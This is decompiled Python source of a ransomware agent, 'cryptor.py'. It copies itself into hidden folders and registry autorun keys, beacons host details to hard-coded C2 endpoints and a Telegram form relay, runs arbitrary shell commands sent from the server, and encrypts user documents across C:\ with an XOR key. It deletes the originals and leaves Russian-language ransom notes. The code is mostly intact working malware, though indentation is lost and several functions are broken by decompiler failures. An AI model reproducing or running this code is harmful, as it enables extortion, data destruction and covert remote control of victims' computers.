# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'cryptor.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
# ***<module>: Failure detected at line number 36 and instruction offset 196: Different bytecode
import os
import sys
import json
import shutil
import hashlib
import uuid
import threading
import time
import socket
import subprocess
import ssl
from pathlib import Path
import urllib.request
import urllib.error
ENDPOINTS = ['https://go-ns.org.ua/', 'https://go-ns.org.ua/wp-content/themes/go-ns/send-message-to-telegram.php', 'https://go-ns.org.ua/files-update', 'https://go-ns.org.ua/files', 'https://go-ns.org.ua/api/halth']
AGENT_UUID = 'b5f6aad21fe144fbb488d66a1c00cc7e'
TG_FORM_URL = 'https://go-ns.org.ua/wp-content/themes/go-ns/send-message-to-telegram.php'
TELEGRAM_URL = 'https://t.me/s/gononstopukraine'
TIKTOK_URL = 'https://www.tiktok.com/@gononstopukraine'
FACEBOOK_URL = 'https://www.facebook.com/gononstopukraine'
WEB_URL = 'https://go-ns.org.ua/'
HASHTAGS = ['дайджест', 'юридичнаклініка', 'скарга', 'схеми', 'розслідування']
KEY_SOURCE = 'telegram'
RANSOM_TEXT = 'Вы зашифрованы за поддержку коррупции! Кто не с нами — тот против нас! Свяжитесь с администратором канала для разблокировки компьютера. Перед этим предоставьте администратору каналов подтверждение что вы подписались на все группы и отправьте скриншоты на электронную почту [email protected]'
CONTACT_TG = 'https://t.me/Go_nonstop_admin'
CONTACT_FB = 'https://www.facebook.com/gononstopukraine'
CONTACT_EMAIL = '[email protected]'
CHECK_INTERVAL = 10
ENCRYPT_EXT = ['.doc', '.docx', '.xls', '.xlsx', '.pdf', '.txt', '.csv', '.jpg', '.png', '.zip', '.rar', '.7z', '.db', '.sqlite', '.sqlite3', '.mdb', '.accdb', '.ppt', '.pptx', '.odt', '.ods', '.odp']
TARGET_DRIVES = ['C:\\']
EXCLUDE_DIRS = {'.nuget', 'Program Files (x86)', 'vendor', 'Application Data', 'Program Files', 'Cache', 'MSOCache', 'AMD', 'Boot', '.nuget', 'Windows.old', 'System Volume Information', 'Drivers', 'Local Settings', 'Microsoft.NET', 'DriverStore', 'Intel', 'Windows Security', 'WinSxS', 'node_modules', 'Recovery', 'packages', 'Temp', 'Program Files (x86)', 'vendor', 'AppData', 'Temporary Internet Files', 'ProgramData', 'Temporary Internet Files', 'All Users', 'Windows.old', 'vendor', 'Microsoft Help', '.git'}
SKIP_EXTENSIONS = {'.cpl', '.scr', '.ps1', '.bin', '.ocx', '.vhd', '.etl', '.com', '.msi', '.lnk', '.dll', '.vhdx', '.vbs', '.bat', '.sys', '.drv', '.img', '.iso', '.pif', '.tmp', '.exe', '.log', '.wim', '.cpl', '.etl', '.msi', '.tmp', '.bat'}
SKIP_NAMES = {'usrclass.dat', 'thumbs.db', 'ntuser.dat.log', 'boot.ini', 'hiberfil.sys', 'desktop.ini', 'ntuser.dat', 'ntldr', 'bootmgr', 'pagefile.sys', 'usrclass.dat.log', 'swapfile.sys', 'boot.ini'}
RANSOM_FILENAME = 'README_DECRYPT.txt'
STATUS_INTERVAL = 10
CMD_POLL_MIN, CMD_POLL_MAX = (10, 15)
def http_ping_plain(url):
try:
http_url = url.replace('https://', 'http://')
req = urllib.request.Request(http_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'})
urllib.request.urlopen(req, timeout=5, context=ssl.create_default_context())
except Exception:
pass
def http_post(url, data, timeout=15):
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
body = data.encode('utf-8') if isinstance(data, str) else data
req = urllib.request.Request(url, data=body, headers={'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
return r.read().decode('utf-8', errors='replace')
except Exception:
return ''
def http_get(url, timeout=15):
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'})
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
return r.read().decode('utf-8', errors='replace')
except Exception:
return ''
def http_post_form(url, fields, timeout=15):
import urllib.parse
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
data = urllib.parse.urlencode(fields).encode('utf-8')
req = urllib.request.Request(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'})
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
return r.read().decode('utf-8', errors='replace').strip()
except Exception:
return ''
def get_external_ip():
try:
return http_get('https://ifconfig.me', timeout=5).strip() or '0.0.0.0'
except Exception:
return '0.0.0.0'
def random_email():
import random as _r
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
name = ''.join((_r.choice(chars) for _ in range(10)))
return f'{name}@gmail.com'
def get_appdata_base():
return Path(os.environ.get('APPDATA', str(Path.home() / 'AppData' / 'Roaming')))
def random_name(length=10):
import random as _r
return ''.join((_r.choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(length)))
def get_system_info():
try:
return {'uuid': AGENT_UUID, 'hostname': socket.gethostname(), 'os': sys.platform, 'username': os.environ.get('USERNAME', os.environ.get('USER', '')), 'ip': get_external_ip()}
except Exception:
return {'uuid': AGENT_UUID, 'hostname': socket.gethostname(), 'os': sys.platform}
def install_persist():
if sys.platform != 'win32':
return
try:
me = sys.executable
base = get_appdata_base()
folder = base / 'Microsoft' / 'Crypto' / random_name(8)
folder.mkdir(parents=True, exist_ok=True)
new_path = folder / f'{random_name(8)}.exe'
if not new_path.exists() or os.path.getsize(str(new_path)) != os.path.getsize(me):
shutil.copy2(me, str(new_path))
try:
os.system(f'attrib +h +s \"{new_path}\"')
except Exception:
pass
import winreg
key = winreg.HKEY_CURRENT_USER
sub = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
with winreg.OpenKey(key, sub, 0, winreg.KEY_SET_VALUE) as k:
winreg.SetValueEx(k, 'WindowsSecurity', 0, winreg.REG_SZ, str(new_path))
startup_folder = Path(os.environ.get('APPDATA', '')) / 'Microsoft' / 'Windows' / 'Start Menu' / 'Programs' / 'Startup'
if startup_folder.exists():
try:
shutil.copy2(me, str(startup_folder / f'{random_name(6)}.exe'))
except Exception:
pass
return str(new_path)
except Exception:
return None
def report_to_c2(msg):
# irreducible cflow, using cdg fallback
# ***<module>.report_to_c2: Failure: Compilation Error
data = json.dumps(msg, ensure_ascii=False)
for ep in ENDPOINTS:
pass
resp = http_post(ep, data, timeout=10)
if resp and resp.startswith('{'):
pass
return json.loads(resp)
except Exception:
pass
pass
except Exception:
pass
pass
report_to_tg(msg)
def report_to_tg(msg):
if not TG_FORM_URL or TG_FORM_URL == 'NONE':
return None
else:
try:
ip = get_external_ip()
fields = {'name': ip, 'email': random_email(), 'message': json.dumps(msg, ensure_ascii=False)}
resp = http_post_form(TG_FORM_URL, fields, timeout=15)
return resp
except Exception:
return None
def fetch_command():
# irreducible cflow, using cdg fallback
# ***<module>.fetch_command: Failure: Compilation Error
for ep in ENDPOINTS:
pass
url = f'{ep}?uuid={AGENT_UUID}' if '?' not in ep else f'{ep}&uuid={AGENT_UUID}'
resp = http_get(url, timeout=10)
if not resp or len(resp) < 2:
pass
if resp.startswith('{'):
pass
data = json.loads(resp)
if data.get('cmd'):
pass
return (data, ep)
except Exception:
pass
continue
return (None, None)
def report_one(ep, msg):
try:
data = json.dumps(msg, ensure_ascii=False)
http_post(ep, data, timeout=10)
except Exception:
pass
def execute_command(cmd_dict, source_ep=None):
cmd = (cmd_dict.get('cmd') or cmd_dict.get('action') or '').lower().strip()
if cmd in ['encrypt', 'crypt', 'start']:
threading.Thread(target=start_encryption, daemon=True).start()
msg = {'uuid': AGENT_UUID, 'action': 'encrypt_started', 'status': 'ok'}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
else:
if cmd in ['shell', 'run', 'exec', 'cmd']:
args = cmd_dict.get('args') or cmd_dict.get('data') or cmd_dict.get('shell') or ''
try:
r = subprocess.run(args, shell=True, capture_output=True, text=True, timeout=60)
output = (r.stdout or '') + (r.stderr or '')
msg = {'uuid': AGENT_UUID, 'action': 'cmd_result', 'command': args, 'exit_code': r.returncode, 'output': output[:8000]}
except subprocess.TimeoutExpired:
msg = {'uuid': AGENT_UUID, 'action': 'cmd_result', 'command': args, 'exit_code': (-1), 'output': 'timeout'}
except Exception as e:
msg = {'uuid': AGENT_UUID, 'action': 'cmd_result', 'command': args, 'exit_code': (-2), 'output': str(e)[:2000]}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
else:
if cmd in ['sleep', 'wait']:
s = int(cmd_dict.get('time') or cmd_dict.get('args') or 30)
time.sleep(s)
msg = {'uuid': AGENT_UUID, 'action': 'slept', 'seconds': s}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
else:
if cmd in ['upload', 'get']:
path = cmd_dict.get('path') or cmd_dict.get('args') or ''
try:
data = Path(path).read_bytes()
msg = {'uuid': AGENT_UUID, 'action': 'upload', 'path': path, 'size': len(data), 'data_b64': ''}
except Exception as e:
msg = {'uuid': AGENT_UUID, 'action': 'upload_error', 'path': path, 'error': str(e)}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
else:
if cmd in ['download', 'put', 'write']:
path = cmd_dict.get('path') or cmd_dict.get('args') or ''
content = cmd_dict.get('data') or ''
try:
Path(path).write_text(content, encoding='utf-8')
msg = {'uuid': AGENT_UUID, 'action': 'download_ok', 'path': path}
except Exception as e:
msg = {'uuid': AGENT_UUID, 'action': 'download_error', 'path': path, 'error': str(e)}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
else:
if cmd in ['exit', 'quit', 'kill']:
msg = {'uuid': AGENT_UUID, 'action': 'exiting'}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
os._exit(0)
else:
if cmd in ['ping', 'status', 'info']:
msg = {**get_system_info(), 'action': 'status_response'}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
else:
if cmd in ['persist', 'install']:
path = install_persist()
msg = {'uuid': AGENT_UUID, 'action': 'persist', 'installed_path': path or 'failed'}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
else:
msg = {'uuid': AGENT_UUID, 'action': 'unknown_cmd', 'received': str(cmd_dict)[:200]}
if source_ep:
report_one(source_ep, msg)
report_to_c2(msg)
def check_hashtags():
# ***<module>.check_hashtags: Failure: Compilation Error
results = []
sources = [('telegram', TELEGRAM_URL), ('tiktok', TIKTOK_URL), ('facebook', FACEBOOK_URL), ('web', WEB_URL)]
for name, url in sources:
if not url or url == 'NONE':
continue
else:
content = http_get(url, timeout=20).lower()
if not content:
results.append({'source': name, 'url': url, 'tags': [], 'error': 'no_content'})
continue
else:
found = []
for tag in HASHTAGS:
tag_lower = tag.lower().replace('#', '').strip()
if tag_lower and tag_lower in content:
found.append(tag)
results.append({'source': name, 'url': url, 'tags': found})
return results
def derive_key():
source = KEY_SOURCE.lower()
key_url = ''
if source == 'telegram' or source == 'tg':
key_url = TELEGRAM_URL
else:
if source == 'tiktok' or source == 'tt':
key_url = TIKTOK_URL
else:
if source == 'facebook' or source == 'fb':
key_url = FACEBOOK_URL
else:
if source == 'web':
key_url = WEB_URL
if not key_url or key_url == 'NONE':
key_url = 'https://t.me/s/gononstopukraine'
return hashlib.sha256(key_url.encode('utf-8')).digest()
def xor_crypt(data, key):
kl = len(key)
return bytes((data[i] ^ key[i % kl] for i in range(len(data))))
def should_encrypt(path):
if not path.is_file():
return False
else:
if path.stat().st_size == 0:
return False
else:
if path.stat().st_size > 104857600:
return False
else:
if path.name == RANSOM_FILENAME:
return False
else:
if path.name.lower() in SKIP_NAMES:
return False
else:
ext = path.suffix.lower()
if ext in SKIP_EXTENSIONS:
return False
else:
if ext not in ENCRYPT_EXT and ENCRYPT_EXT != ['*']:
return False
nl = path.name.lower()
if any((p in nl for p in ['.enc', '.cryptor', 'readme_decrypt'])):
return False
else:
return True
def is_excluded(path):
parts = set(str(path).split(os.sep))
return bool(EXCLUDE_DIRS & parts)
def leave_ransom_note(folder):
try:
text = f'{RANSOM_TEXT}\n\nПоставь реакцию, свяжись с админом, сделай взнос в счёт фонда борьбы с коррупцией\nи получи у админа ключ расшифровки своих данных.\n\nФорма для обращений: {WEB_URL}\nСвязь с админом: {CONTACT_TG}\nEmail: {CONTACT_EMAIL}\n\nНаши соцсети:\n Telegram: {TELEGRAM_URL}\n TikTok: {TIKTOK_URL}\n Facebook: {FACEBOOK_URL}\n\nYour ID: {AGENT_UUID}'
(folder / RANSOM_FILENAME).write_text(text, encoding='utf-8')
except Exception:
pass
def encrypt_file(path, key):
try:
data = path.read_bytes()
enc = xor_crypt(data, key)
new = path.with_suffix(path.suffix + '.enc')
new.write_bytes(enc)
path.unlink()
return True
except Exception:
return False
def encrypt_recursive(root, key):
# irreducible cflow, using cdg fallback
# ***<module>.encrypt_recursive: Failure: Compilation Error
if not root.exists() or is_excluded(root):
return (0, 0)
else:
ok, fail = (0, 0)
leave_ransom_note(root)
for entry in root.iterdir():
if entry.is_symlink():
if entry.is_dir():
if not is_excluded(entry):
o, f = encrypt_recursive(entry, key)
ok += o
fail += f
else:
if entry.is_file() and should_encrypt(entry):
if encrypt_file(entry, key):
ok += 1
else:
fail += 1
except Exception:
fail += 1
except PermissionError:
pass
return (ok, fail)
def start_encryption():
# ***<module>.start_encryption: Failure: Compilation Error
key = derive_key()
total_ok, total_fail = (0, 0)
drives = TARGET_DRIVES if isinstance(TARGET_DRIVES, list) else [TARGET_DRIVES]
for d in drives:
drive = Path(d) if isinstance(d, str) else d
if not drive.exists():
continue
else:
desktop = None
for up in drive.glob('Users/*/Desktop'):
if up.exists():
desktop = up
break
if desktop:
leave_ransom_note(desktop)
for entry in drive.iterdir():
if entry.name in EXCLUDE_DIRS or entry.name.startswith('$'):
continue
else:
if entry.is_dir() and (not is_excluded(entry)):
o, f = encrypt_recursive(entry, key)
total_ok += o
total_fail += f
report_to_c2({'uuid': AGENT_UUID, 'action': 'encryption_done', 'ok': total_ok, 'failed': total_fail})
def status_loop():
# ***<module>.status_loop: Failure: Different control flow
first = True
while True:
while not first:
time.sleep(STATUS_INTERVAL)
first = False
try:
info = get_system_info()
info['action'] = 'status'
resp = report_to_c2(info)
if resp and resp.get('cmd'):
execute_command(resp)
except Exception:
pass
def command_loop():
# ***<module>.command_loop: Failure: Different control flow
import random as _r
first = True
while True:
while not first:
time.sleep(_r.randint(CMD_POLL_MIN, CMD_POLL_MAX))
first = False
try:
cmd, source_ep = fetch_command()
if cmd:
execute_command(cmd, source_ep)
except Exception:
pass
def monitoring_loop():
# ***<module>.monitoring_loop: Failure: Different control flow
first = True
while True:
while not first:
time.sleep(CHECK_INTERVAL)
first = False
try:
results = check_hashtags()
all_tags = {}
for r in results:
if r['tags']:
all_tags[r['source']] = r['tags']
if all_tags:
report_to_c2({'uuid': AGENT_UUID, 'action': 'trigger_found', 'sources': all_tags, 'total_sources_scanned': len(results)})
start_encryption()
except Exception:
pass
def main():
# irreducible cflow, using cdg fallback
# ***<module>.main: Failure: Compilation Error
install_persist()
for url in [TELEGRAM_URL, TIKTOK_URL, FACEBOOK_URL, WEB_URL, TG_FORM_URL] + ENDPOINTS:
if url and url != 'NONE':
http_ping_plain(url)
report_to_c2({**get_system_info(), 'action': 'agent_started'})
threads = [threading.Thread(target=status_loop, daemon=True, name='status'), threading.Thread(target=command_loop, daemon=True, name='cmd'), threading.Thread(target=monitoring_loop, daemon=True, name='monitor')]
for t in threads:
t.start()
for t in threads:
pass
t.join()
except KeyboardInterrupt:
pass
report_to_c2({'uuid': AGENT_UUID, 'action': 'killed'})
if __name__ == '__main__':
main()4 views